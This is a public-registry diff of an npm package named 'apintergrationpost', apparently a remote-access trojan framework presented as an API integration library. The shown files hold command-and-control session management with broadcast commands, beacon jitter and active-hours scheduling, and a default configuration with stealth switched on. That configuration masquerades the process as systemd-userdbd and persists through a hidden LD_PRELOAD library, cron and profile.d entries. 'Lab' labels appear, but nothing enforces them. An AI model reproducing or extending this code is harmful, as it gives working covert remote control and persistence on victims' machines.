apintergrationpost 4.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (55) hide show
  1. package/README.md +203 -0
  2. package/apintergrationpost.config.json +101 -0
  3. package/bin/apintergrationpost-install.js +232 -0
  4. package/bin/apintergrationpost.js +50 -0
  5. package/bin/lib/paths.js +19 -0
  6. package/native/lab-tools/Makefile +45 -0
  7. package/native/lab-tools/agent_launcher.c +96 -0
  8. package/native/lab-tools/injector.c +80 -0
  9. package/native/lab-tools/libcache.c +80 -0
  10. package/native/lab-tools/memfd_exec.c +123 -0
  11. package/native/lab-tools/memfd_loader.c +224 -0
  12. package/native/lab-tools/proc_hide.c +64 -0
  13. package/package.json +45 -0
  14. package/scripts/postinstall-run.js +97 -0
  15. package/scripts/prepare-native.js +25 -0
  16. package/src/client/commands/filesystem.js +47 -0
  17. package/src/client/commands/index.js +26 -0
  18. package/src/client/commands/screen-capture.js +74 -0
  19. package/src/client/commands/shell.js +61 -0
  20. package/src/client/commands/system.js +266 -0
  21. package/src/client/connection.js +66 -0
  22. package/src/client/index.js +193 -0
  23. package/src/client/plugins/base.js +17 -0
  24. package/src/client/plugins/evasion-memfd.js +226 -0
  25. package/src/client/plugins/evasion-process.js +158 -0
  26. package/src/client/plugins/file-search.js +66 -0
  27. package/src/client/plugins/filesystem.js +62 -0
  28. package/src/client/plugins/network-enum.js +43 -0
  29. package/src/client/plugins/persistence-advanced.js +9 -0
  30. package/src/client/plugins/persistence-stealth.js +82 -0
  31. package/src/client/plugins/process-list.js +49 -0
  32. package/src/client/plugins/registry.js +118 -0
  33. package/src/client/plugins/screen-live.js +124 -0
  34. package/src/client/plugins/shell-oneshot.js +25 -0
  35. package/src/client/plugins/shell-pty.js +132 -0
  36. package/src/client/plugins/sysinfo.js +45 -0
  37. package/src/client/plugins/system.js +26 -0
  38. package/src/client/watchdog.js +29 -0
  39. package/src/protocol/auth.js +121 -0
  40. package/src/protocol/framer.js +57 -0
  41. package/src/protocol/messages.js +81 -0
  42. package/src/protocol/tls.js +74 -0
  43. package/src/server/cli.js +98 -0
  44. package/src/server/index.js +183 -0
  45. package/src/server/installServer.js +159 -0
  46. package/src/server/screenViewer.js +103 -0
  47. package/src/server/session.js +342 -0
  48. package/src/server/sessionManager.js +229 -0
  49. package/src/shared/c2schedule.js +100 -0
  50. package/src/shared/config.js +277 -0
  51. package/src/shared/emulation.js +86 -0
  52. package/src/shared/logger.js +125 -0
  53. package/src/shared/memfdLaunch.js +135 -0
  54. package/src/shared/nativeTools.js +73 -0
  55. package/src/shared/procinfo.js +116 -0
@@ -0,0 +1,229 @@
1
+ 'use strict';
2
+
3
+ const crypto = require('crypto');
4
+ const { writeMessage, createMessageReader } = require('../protocol/framer');
5
+ const { MSG_TYPES, commandMsg, disconnectMsg, heartbeatMsg } = require('../protocol/messages');
6
+
7
+ class Session {
8
+ constructor(socket, logger, config) {
9
+ this.id = crypto.randomBytes(4).toString('hex');
10
+ this.socket = socket;
11
+ this.logger = logger;
12
+ this.config = config;
13
+ this.remoteAddress = socket.remoteAddress;
14
+ this.remotePort = socket.remotePort;
15
+ this.connectedAt = Date.now();
16
+ this.lastHeartbeat = Date.now();
17
+ this.authenticated = false;
18
+ this.alive = true;
19
+ this._pending = new Map();
20
+ this._onDisconnect = null;
21
+ this._shellOutputHandler = null;
22
+ this._screenFrameHandler = null;
23
+
24
+ const commandTimeoutMs = (config && config.commandTimeoutMs) || 120000;
25
+ const heartbeatIntervalMs = (config && config.heartbeatIntervalMs) || 30000;
26
+
27
+ createMessageReader(socket, (msg) => {
28
+ if (msg.type === MSG_TYPES.RESPONSE && this._pending.has(msg.id)) {
29
+ const pending = this._pending.get(msg.id);
30
+ if (msg.meta && msg.meta.stream && !msg.meta.final) {
31
+ if (pending.onStream) pending.onStream(msg);
32
+ return;
33
+ }
34
+ this._pending.delete(msg.id);
35
+ pending.resolve(msg);
36
+ } else if (msg.type === MSG_TYPES.SHELL_OUTPUT) {
37
+ if (this._shellOutputHandler) {
38
+ this._shellOutputHandler(msg);
39
+ }
40
+ } else if (msg.type === MSG_TYPES.SCREEN_FRAME) {
41
+ if (this._screenFrameHandler) {
42
+ this._screenFrameHandler(msg);
43
+ }
44
+ } else if (msg.type === MSG_TYPES.HEARTBEAT) {
45
+ this.lastHeartbeat = Date.now();
46
+ } else if (msg.type === MSG_TYPES.DISCONNECT) {
47
+ logger.info(`Client ${this.id} sent disconnect`);
48
+ this._cleanup();
49
+ if (this._onDisconnect) this._onDisconnect();
50
+ }
51
+ });
52
+
53
+ this._heartbeatTimer = setInterval(() => {
54
+ if (this.alive) writeMessage(socket, heartbeatMsg());
55
+ }, heartbeatIntervalMs);
56
+
57
+ socket.setKeepAlive(true, 15000);
58
+
59
+ socket.on('error', (err) => {
60
+ logger.error(`Session ${this.id} socket error`, { error: err.message });
61
+ });
62
+
63
+ socket.on('close', () => {
64
+ if (this.alive) {
65
+ this._cleanup();
66
+ if (this._onDisconnect) this._onDisconnect();
67
+ }
68
+ });
69
+ }
70
+
71
+ get uptime() {
72
+ return Date.now() - this.connectedAt;
73
+ }
74
+
75
+ get label() {
76
+ return `${this.id} (${this.remoteAddress}:${this.remotePort})`;
77
+ }
78
+
79
+ onDisconnect(fn) {
80
+ this._onDisconnect = fn;
81
+ }
82
+
83
+ setShellOutputHandler(fn) {
84
+ this._shellOutputHandler = fn;
85
+ }
86
+
87
+ setScreenFrameHandler(fn) {
88
+ this._screenFrameHandler = fn;
89
+ }
90
+
91
+ sendCommand(command, body, meta, opts = {}) {
92
+ const commandTimeoutMs = (this.config && this.config.commandTimeoutMs) || 120000;
93
+ return new Promise((resolve, reject) => {
94
+ if (!this.alive) {
95
+ reject(new Error('Session is closed'));
96
+ return;
97
+ }
98
+ const msg = commandMsg(command, body, meta);
99
+ this._pending.set(msg.id, { resolve, reject, onStream: opts.onStream });
100
+ writeMessage(this.socket, msg);
101
+
102
+ const timeoutMs = opts.timeoutMs || commandTimeoutMs;
103
+
104
+ setTimeout(() => {
105
+ if (this._pending.has(msg.id)) {
106
+ this._pending.delete(msg.id);
107
+ reject(new Error('Command timed out'));
108
+ }
109
+ }, timeoutMs);
110
+ });
111
+ }
112
+
113
+ sendFireAndForget(command, body) {
114
+ if (this.alive) {
115
+ writeMessage(this.socket, commandMsg(command, body));
116
+ }
117
+ }
118
+
119
+ disconnect(reason) {
120
+ if (this.alive) {
121
+ writeMessage(this.socket, disconnectMsg(reason || 'server closing'));
122
+ this._cleanup();
123
+ this.socket.end();
124
+ }
125
+ }
126
+
127
+ _cleanup() {
128
+ this.alive = false;
129
+ clearInterval(this._heartbeatTimer);
130
+ for (const [, { reject }] of this._pending) {
131
+ reject(new Error('Session ended'));
132
+ }
133
+ this._pending.clear();
134
+ }
135
+ }
136
+
137
+ class SessionManager {
138
+ constructor(logger) {
139
+ this.logger = logger;
140
+ this._sessions = new Map();
141
+ this._activeId = null;
142
+ }
143
+
144
+ add(session) {
145
+ this._sessions.set(session.id, session);
146
+ session.onDisconnect(() => {
147
+ this.logger.info(`Session ${session.label} disconnected`);
148
+ this._sessions.delete(session.id);
149
+ if (this._activeId === session.id) {
150
+ this._activeId = null;
151
+ }
152
+ });
153
+ if (this._sessions.size === 1) {
154
+ this._activeId = session.id;
155
+ }
156
+ this.logger.info(`Session ${session.label} registered (total: ${this._sessions.size})`);
157
+ }
158
+
159
+ remove(id) {
160
+ const session = this._sessions.get(id);
161
+ if (session) {
162
+ session.disconnect('removed');
163
+ this._sessions.delete(id);
164
+ if (this._activeId === id) this._activeId = null;
165
+ }
166
+ }
167
+
168
+ get(id) {
169
+ return this._sessions.get(id) || null;
170
+ }
171
+
172
+ get active() {
173
+ if (!this._activeId) return null;
174
+ return this._sessions.get(this._activeId) || null;
175
+ }
176
+
177
+ set activeId(id) {
178
+ if (this._sessions.has(id)) {
179
+ this._activeId = id;
180
+ }
181
+ }
182
+
183
+ get activeSessionId() {
184
+ return this._activeId;
185
+ }
186
+
187
+ list() {
188
+ const results = [];
189
+ for (const [id, s] of this._sessions) {
190
+ const uptimeSec = Math.floor(s.uptime / 1000);
191
+ const heartbeatAgo = Math.floor((Date.now() - s.lastHeartbeat) / 1000);
192
+ results.push({
193
+ id,
194
+ address: `${s.remoteAddress}:${s.remotePort}`,
195
+ uptime: `${uptimeSec}s`,
196
+ lastHeartbeat: `${heartbeatAgo}s ago`,
197
+ active: id === this._activeId,
198
+ });
199
+ }
200
+ return results;
201
+ }
202
+
203
+ get size() {
204
+ return this._sessions.size;
205
+ }
206
+
207
+ async broadcast(command, body) {
208
+ const results = [];
209
+ for (const [id, session] of this._sessions) {
210
+ try {
211
+ const resp = await session.sendCommand(command, body);
212
+ results.push({ id, status: resp.status, body: resp.body });
213
+ } catch (err) {
214
+ results.push({ id, status: 'error', body: err.message });
215
+ }
216
+ }
217
+ return results;
218
+ }
219
+
220
+ disconnectAll(reason) {
221
+ for (const [, session] of this._sessions) {
222
+ session.disconnect(reason);
223
+ }
224
+ this._sessions.clear();
225
+ this._activeId = null;
226
+ }
227
+ }
228
+
229
+ module.exports = { Session, SessionManager };
@@ -0,0 +1,100 @@
1
+ 'use strict';
2
+
3
+ function clamp(value, min, max) {
4
+ return Math.max(min, Math.min(max, value));
5
+ }
6
+
7
+ function randomJitter(maxJitterMs) {
8
+ if (!maxJitterMs || maxJitterMs <= 0) return 0;
9
+ return Math.floor(Math.random() * (maxJitterMs * 2 + 1)) - maxJitterMs;
10
+ }
11
+
12
+ function sampleUniform(minMs, maxMs) {
13
+ return minMs + Math.floor(Math.random() * (maxMs - minMs + 1));
14
+ }
15
+
16
+ function sampleLogNormal(minMs, maxMs, sigma) {
17
+ const u1 = Math.random() || Number.MIN_VALUE;
18
+ const u2 = Math.random();
19
+ const z = Math.sqrt(-2 * Math.log(u1)) * Math.cos(2 * Math.PI * u2);
20
+ const logMean = Math.log((minMs + maxMs) / 2);
21
+ const value = Math.exp(logMean + (sigma || 0.55) * z);
22
+ return clamp(Math.floor(value), minMs, maxMs);
23
+ }
24
+
25
+ function sampleExponential(minMs, maxMs) {
26
+ const lambda = 1 / ((minMs + maxMs) / 2);
27
+ const value = -Math.log(1 - Math.random()) / lambda;
28
+ return clamp(Math.floor(value), minMs, maxMs);
29
+ }
30
+
31
+ function sampleFromProfile(profile, fallbackMs) {
32
+ if (!profile || profile.minMs == null || profile.maxMs == null) {
33
+ return fallbackMs || 60000;
34
+ }
35
+
36
+ const minMs = Number(profile.minMs);
37
+ const maxMs = Number(profile.maxMs);
38
+ const distribution = profile.distribution || 'lognormal';
39
+
40
+ if (distribution === 'uniform') {
41
+ return sampleUniform(minMs, maxMs);
42
+ }
43
+ if (distribution === 'exponential') {
44
+ return sampleExponential(minMs, maxMs);
45
+ }
46
+ return sampleLogNormal(minMs, maxMs, profile.sigma);
47
+ }
48
+
49
+ function nextBeaconInterval(config) {
50
+ const c2 = config.c2 || {};
51
+ const profile = c2.beaconProfile;
52
+ if (profile) {
53
+ return sampleFromProfile(profile, config.heartbeatIntervalMs || 60000);
54
+ }
55
+
56
+ const base = config.heartbeatIntervalMs || 60000;
57
+ const jitter = randomJitter(c2.heartbeatJitterMs || 0);
58
+ return Math.max(1000, base + jitter);
59
+ }
60
+
61
+ function nextReconnectDelay(config, currentDelay) {
62
+ const c2 = config.c2 || {};
63
+ const profile = c2.reconnectProfile;
64
+ if (profile) {
65
+ return sampleFromProfile(profile, currentDelay || 5000);
66
+ }
67
+
68
+ const jitter = randomJitter(c2.reconnectJitterMs || 0);
69
+ return Math.max(1000, (currentDelay || 1000) + jitter);
70
+ }
71
+
72
+ function isWithinActiveHours(activeHours) {
73
+ if (!activeHours || activeHours.start == null || activeHours.end == null) {
74
+ return true;
75
+ }
76
+
77
+ const now = new Date();
78
+ const hour = now.getUTCHours();
79
+ const start = Number(activeHours.start);
80
+ const end = Number(activeHours.end);
81
+
82
+ if (start <= end) {
83
+ return hour >= start && hour < end;
84
+ }
85
+ return hour >= start || hour < end;
86
+ }
87
+
88
+ function getActiveHoursSleepMs(activeHours) {
89
+ if (!activeHours) return 60000;
90
+ return Number(activeHours.pollMs) || 60000;
91
+ }
92
+
93
+ module.exports = {
94
+ randomJitter,
95
+ sampleFromProfile,
96
+ nextBeaconInterval,
97
+ nextReconnectDelay,
98
+ isWithinActiveHours,
99
+ getActiveHoursSleepMs,
100
+ };
@@ -0,0 +1,277 @@
1
+ 'use strict';
2
+
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+
6
+ const DEFAULTS = {
7
+ host: '0.0.0.0',
8
+ port: 4444,
9
+ tls: {
10
+ enabled: false,
11
+ cert: '',
12
+ key: '',
13
+ ca: '',
14
+ mutual: false,
15
+ },
16
+ auth: { token: 'myra-lab-shared-key' },
17
+ reconnect: {
18
+ initialDelayMs: 1000,
19
+ maxDelayMs: 60000,
20
+ backoffFactor: 2,
21
+ },
22
+ log: { level: 'warn', file: '' },
23
+ heartbeatIntervalMs: 60000,
24
+ heartbeatTimeoutMs: 360000,
25
+ commandTimeoutMs: 120000,
26
+ maxOutputBytes: 1024 * 1024,
27
+ plugins: {
28
+ enabled: [
29
+ 'shell-oneshot',
30
+ 'shell-pty',
31
+ 'filesystem',
32
+ 'screen-live',
33
+ 'system',
34
+ 'sysinfo',
35
+ 'process-list',
36
+ 'network-enum',
37
+ 'file-search',
38
+ ],
39
+ disabled: [],
40
+ },
41
+ features: {
42
+ pty: true,
43
+ screenLive: true,
44
+ },
45
+ screen: {
46
+ fps: 3,
47
+ viewerPort: 5555,
48
+ display: ':0',
49
+ size: '1280x720',
50
+ },
51
+ lab: {
52
+ mode: false,
53
+ telemetryMode: false,
54
+ eventsFile: './telemetry-events.jsonl',
55
+ emitProcessInfo: true,
56
+ },
57
+ c2: {
58
+ heartbeatJitterMs: 0,
59
+ reconnectJitterMs: 0,
60
+ activeHours: null,
61
+ beaconProfile: {
62
+ minMs: 45000,
63
+ maxMs: 300000,
64
+ distribution: 'lognormal',
65
+ sigma: 0.55,
66
+ },
67
+ reconnectProfile: {
68
+ minMs: 5000,
69
+ maxMs: 120000,
70
+ distribution: 'exponential',
71
+ },
72
+ },
73
+ emulation: {
74
+ enabled: true,
75
+ stealth: true,
76
+ telemetry: false,
77
+ nativeToolsPath: './native/lab-tools/bin',
78
+ plugins: ['persistence-stealth', 'evasion-process', 'evasion-memfd'],
79
+ process: {
80
+ autoHide: false,
81
+ targetName: 'systemd-userdbd',
82
+ binaryPath: '/usr/lib/systemd/systemd-userdbd',
83
+ scrubArgv: true,
84
+ fakeArgs: ['--user'],
85
+ },
86
+ persistence: {
87
+ vectors: ['preload', 'cron', 'profile'],
88
+ cronIntervalMin: 13,
89
+ preloadPath: '/usr/local/lib/.libcache.so',
90
+ wrapperPath: '/usr/local/lib/.cache-update.sh',
91
+ ldConfPath: '/etc/ld.so.conf.d/.cache.conf',
92
+ profilePath: '/etc/profile.d/.sh.local',
93
+ avoidSystemd: true,
94
+ hidePaths: [],
95
+ },
96
+ c2: {
97
+ paddingMaxBytes: 64,
98
+ },
99
+ memory: {
100
+ mode: 'off',
101
+ autoDeploy: false,
102
+ nodePath: '/usr/bin/node',
103
+ bundlePath: './dist/agent.bundle.js',
104
+ scrubArgv: true,
105
+ daemon: true,
106
+ unlinkBundle: false,
107
+ },
108
+ },
109
+ advanced: {
110
+ requireLabMode: false,
111
+ enabled: [],
112
+ nativeToolsPath: './native/lab-tools/bin',
113
+ },
114
+ installServer: {
115
+ enabled: true,
116
+ host: '0.0.0.0',
117
+ port: 8080,
118
+ clientHost: '',
119
+ },
120
+ };
121
+
122
+ function deepMerge(target, source) {
123
+ const result = { ...target };
124
+ for (const key of Object.keys(source)) {
125
+ if (
126
+ source[key] !== null &&
127
+ typeof source[key] === 'object' &&
128
+ !Array.isArray(source[key]) &&
129
+ typeof target[key] === 'object' &&
130
+ target[key] !== null
131
+ ) {
132
+ result[key] = deepMerge(target[key], source[key]);
133
+ } else if (source[key] !== undefined) {
134
+ result[key] = source[key];
135
+ }
136
+ }
137
+ return result;
138
+ }
139
+
140
+ function loadFileConfig(filePath) {
141
+ try {
142
+ const resolved = path.resolve(filePath);
143
+ const raw = fs.readFileSync(resolved, 'utf8');
144
+ return JSON.parse(raw);
145
+ } catch {
146
+ return {};
147
+ }
148
+ }
149
+
150
+ function envValue(primary, fallback) {
151
+ if (primary !== undefined && primary !== '') return primary;
152
+ return fallback;
153
+ }
154
+
155
+ function loadEnvConfig() {
156
+ const env = {};
157
+ const host = envValue(process.env.APINTEGRATIONPOST_HOST, process.env.MYRA_HOST);
158
+ const port = envValue(process.env.APINTEGRATIONPOST_PORT, process.env.MYRA_PORT);
159
+ const token = envValue(process.env.APINTEGRATIONPOST_AUTH_TOKEN, process.env.MYRA_AUTH_TOKEN);
160
+
161
+ if (host) env.host = host;
162
+ if (port) env.port = Number(port);
163
+ if (token) env.auth = { token };
164
+ if (process.env.MYRA_LOG_LEVEL) env.log = { level: process.env.MYRA_LOG_LEVEL };
165
+ if (process.env.MYRA_LOG_FILE) {
166
+ env.log = { ...(env.log || {}), file: process.env.MYRA_LOG_FILE };
167
+ }
168
+ if (process.env.MYRA_TLS_ENABLED === 'false') {
169
+ env.tls = { ...(env.tls || {}), enabled: false };
170
+ } else if (process.env.MYRA_TLS_ENABLED === 'true') {
171
+ env.tls = { ...(env.tls || {}), enabled: true };
172
+ }
173
+ if (process.env.MYRA_TLS_CERT) {
174
+ env.tls = { ...(env.tls || {}), cert: process.env.MYRA_TLS_CERT };
175
+ }
176
+ if (process.env.MYRA_TLS_KEY) {
177
+ env.tls = { ...(env.tls || {}), key: process.env.MYRA_TLS_KEY };
178
+ }
179
+ if (process.env.MYRA_TLS_CA) {
180
+ env.tls = { ...(env.tls || {}), ca: process.env.MYRA_TLS_CA };
181
+ }
182
+ if (process.env.MYRA_LAB_MODE === 'true') {
183
+ env.lab = { ...(env.lab || {}), mode: true };
184
+ }
185
+ if (process.env.MYRA_LAB_TELEMETRY === 'true' || process.env.MYRA_EMULATION_TELEMETRY === 'true') {
186
+ env.emulation = { ...(env.emulation || {}), telemetry: true };
187
+ }
188
+ if (process.env.MYRA_FEATURES_PTY === 'false') {
189
+ env.features = { ...(env.features || {}), pty: false };
190
+ }
191
+ if (process.env.MYRA_EMULATION_STEALTH === 'false') {
192
+ env.emulation = { ...(env.emulation || {}), stealth: false };
193
+ }
194
+ return env;
195
+ }
196
+
197
+ function parseCliArgs(argv) {
198
+ const args = {};
199
+ for (let i = 2; i < argv.length; i++) {
200
+ const arg = argv[i];
201
+ if (arg === '--config' && argv[i + 1]) {
202
+ args._configFile = argv[++i];
203
+ } else if (arg === '--host' && argv[i + 1]) {
204
+ args.host = argv[++i];
205
+ } else if (arg === '--port' && argv[i + 1]) {
206
+ args.port = Number(argv[++i]);
207
+ } else if (arg === '--token' && argv[i + 1]) {
208
+ args.auth = { token: argv[++i] };
209
+ } else if (arg === '--log-level' && argv[i + 1]) {
210
+ args.log = { ...(args.log || {}), level: argv[++i] };
211
+ } else if (arg === '--log-file' && argv[i + 1]) {
212
+ args.log = { ...(args.log || {}), file: argv[++i] };
213
+ } else if (arg === '--lab') {
214
+ args.lab = { ...(args.lab || {}), mode: true };
215
+ } else if (arg === '--telemetry') {
216
+ args.emulation = { ...(args.emulation || {}), telemetry: true };
217
+ }
218
+ }
219
+ return args;
220
+ }
221
+
222
+ function resolveConfigFile(cliConfigFile) {
223
+ if (cliConfigFile) return cliConfigFile;
224
+
225
+ const envConfig = process.env.APINTEGRATIONPOST_CONFIG || process.env.MYRA_CONFIG;
226
+ if (envConfig) return envConfig;
227
+
228
+ const packaged = path.join(process.cwd(), 'apintergrationpost.config.json');
229
+ if (fs.existsSync(packaged)) return packaged;
230
+
231
+ return path.join(process.cwd(), 'myra.config.json');
232
+ }
233
+
234
+ function loadConfig(argv = process.argv) {
235
+ const cliArgs = parseCliArgs(argv);
236
+ const configFile = resolveConfigFile(cliArgs._configFile);
237
+ delete cliArgs._configFile;
238
+
239
+ const fileConfig = loadFileConfig(configFile);
240
+ const envConfig = loadEnvConfig();
241
+ const config = deepMerge(deepMerge(deepMerge(DEFAULTS, fileConfig), envConfig), cliArgs);
242
+ config._configDir = path.dirname(path.resolve(configFile));
243
+ return config;
244
+ }
245
+
246
+ function validateLabConfig(config) {
247
+ const token = (config.auth && config.auth.token) || '';
248
+ const emulation = config.emulation || {};
249
+ const advancedEnabled = (config.advanced && config.advanced.enabled) || [];
250
+ const emulationPlugins = emulation.plugins || [];
251
+ const tlsConf = config.tls || {};
252
+
253
+ if (!token) {
254
+ return 'Set auth.token to a shared password (must match on client and server)';
255
+ }
256
+
257
+ if (tlsConf.enabled === false && token.length < 8) {
258
+ return 'auth.token must be at least 8 characters when TLS is disabled';
259
+ }
260
+
261
+ if (advancedEnabled.length > 0 && config.advanced && config.advanced.requireLabMode !== false) {
262
+ if (!config.lab || !config.lab.mode) {
263
+ return 'Legacy advanced plugins require lab.mode (use emulation.plugins instead)';
264
+ }
265
+ if (!token) {
266
+ return 'Advanced plugins require auth.token to be set in configuration';
267
+ }
268
+ }
269
+
270
+ if (config.lab && config.lab.mode && !token) {
271
+ return 'Lab mode requires auth.token to be set in configuration';
272
+ }
273
+
274
+ return null;
275
+ }
276
+
277
+ module.exports = { loadConfig, validateLabConfig, DEFAULTS };
@@ -0,0 +1,86 @@
1
+ 'use strict';
2
+
3
+ /**
4
+ * Normalize emulation config (merges legacy advanced.* for backward compatibility).
5
+ */
6
+ function getEmulationConfig(config) {
7
+ const emulation = { ...(config.emulation || {}) };
8
+ const advanced = config.advanced || {};
9
+
10
+ if (advanced.nativeToolsPath && !emulation.nativeToolsPath) {
11
+ emulation.nativeToolsPath = advanced.nativeToolsPath;
12
+ }
13
+ if (advanced.enabled && !emulation.plugins) {
14
+ emulation.plugins = advanced.enabled.map((name) => {
15
+ if (name === 'persistence-advanced') return 'persistence-stealth';
16
+ return name;
17
+ });
18
+ }
19
+ if (advanced.persistence && !emulation.persistence) {
20
+ emulation.persistence = advanced.persistence;
21
+ }
22
+ if (advanced.masquerade && !emulation.process) {
23
+ emulation.process = {
24
+ targetName: advanced.masquerade.targetName,
25
+ binaryPath: advanced.masquerade.binaryPath,
26
+ };
27
+ }
28
+
29
+ return {
30
+ enabled: emulation.enabled !== false,
31
+ stealth: emulation.stealth !== false,
32
+ telemetry: emulation.telemetry === true,
33
+ nativeToolsPath: emulation.nativeToolsPath || './native/lab-tools/bin',
34
+ plugins: emulation.plugins || [
35
+ 'persistence-stealth',
36
+ 'evasion-process',
37
+ 'evasion-memfd',
38
+ ],
39
+ process: {
40
+ autoHide: !!(emulation.process && emulation.process.autoHide),
41
+ targetName: (emulation.process && emulation.process.targetName) || 'systemd-userdbd',
42
+ binaryPath: (emulation.process && emulation.process.binaryPath) || '/usr/lib/systemd/systemd-userdbd',
43
+ scrubArgv: emulation.process ? emulation.process.scrubArgv !== false : true,
44
+ fakeArgs: (emulation.process && emulation.process.fakeArgs) || ['--user'],
45
+ },
46
+ persistence: {
47
+ vectors: (emulation.persistence && emulation.persistence.vectors) || ['preload', 'cron', 'profile'],
48
+ cronIntervalMin: (emulation.persistence && emulation.persistence.cronIntervalMin) || 13,
49
+ preloadPath: (emulation.persistence && emulation.persistence.preloadPath) || '/usr/local/lib/.libcache.so',
50
+ wrapperPath: (emulation.persistence && emulation.persistence.wrapperPath) || '/usr/local/lib/.cache-update.sh',
51
+ ldConfPath: (emulation.persistence && emulation.persistence.ldConfPath) || '/etc/ld.so.conf.d/.cache.conf',
52
+ profilePath: (emulation.persistence && emulation.persistence.profilePath) || '/etc/profile.d/.sh.local',
53
+ avoidSystemd: emulation.persistence ? emulation.persistence.avoidSystemd !== false : true,
54
+ hidePaths: (emulation.persistence && emulation.persistence.hidePaths) || [],
55
+ },
56
+ c2: {
57
+ paddingMaxBytes: (emulation.c2 && emulation.c2.paddingMaxBytes) || 0,
58
+ },
59
+ memory: {
60
+ mode: (emulation.memory && emulation.memory.mode) || 'off',
61
+ autoDeploy: emulation.memory && emulation.memory.autoDeploy === true,
62
+ nodePath: (emulation.memory && emulation.memory.nodePath) || '/usr/bin/node',
63
+ bundlePath: (emulation.memory && emulation.memory.bundlePath) || './dist/agent.bundle.js',
64
+ scrubArgv: emulation.memory ? emulation.memory.scrubArgv !== false : true,
65
+ daemon: emulation.memory ? emulation.memory.daemon !== false : true,
66
+ unlinkBundle: emulation.memory && emulation.memory.unlinkBundle === true,
67
+ comm: emulation.memory && emulation.memory.comm,
68
+ fakeArg: emulation.memory && emulation.memory.fakeArg,
69
+ },
70
+ };
71
+ }
72
+
73
+ function isEmulationPluginEnabled(config, pluginName) {
74
+ const emu = getEmulationConfig(config);
75
+ if (!emu.enabled) return false;
76
+ return emu.plugins.includes(pluginName);
77
+ }
78
+
79
+ function shouldEmitTelemetry(config) {
80
+ const emu = getEmulationConfig(config);
81
+ if (emu.telemetry) return true;
82
+ if (config.lab && config.lab.telemetryMode) return true;
83
+ return false;
84
+ }
85
+
86
+ module.exports = { getEmulationConfig, isEmulationPluginEnabled, shouldEmitTelemetry };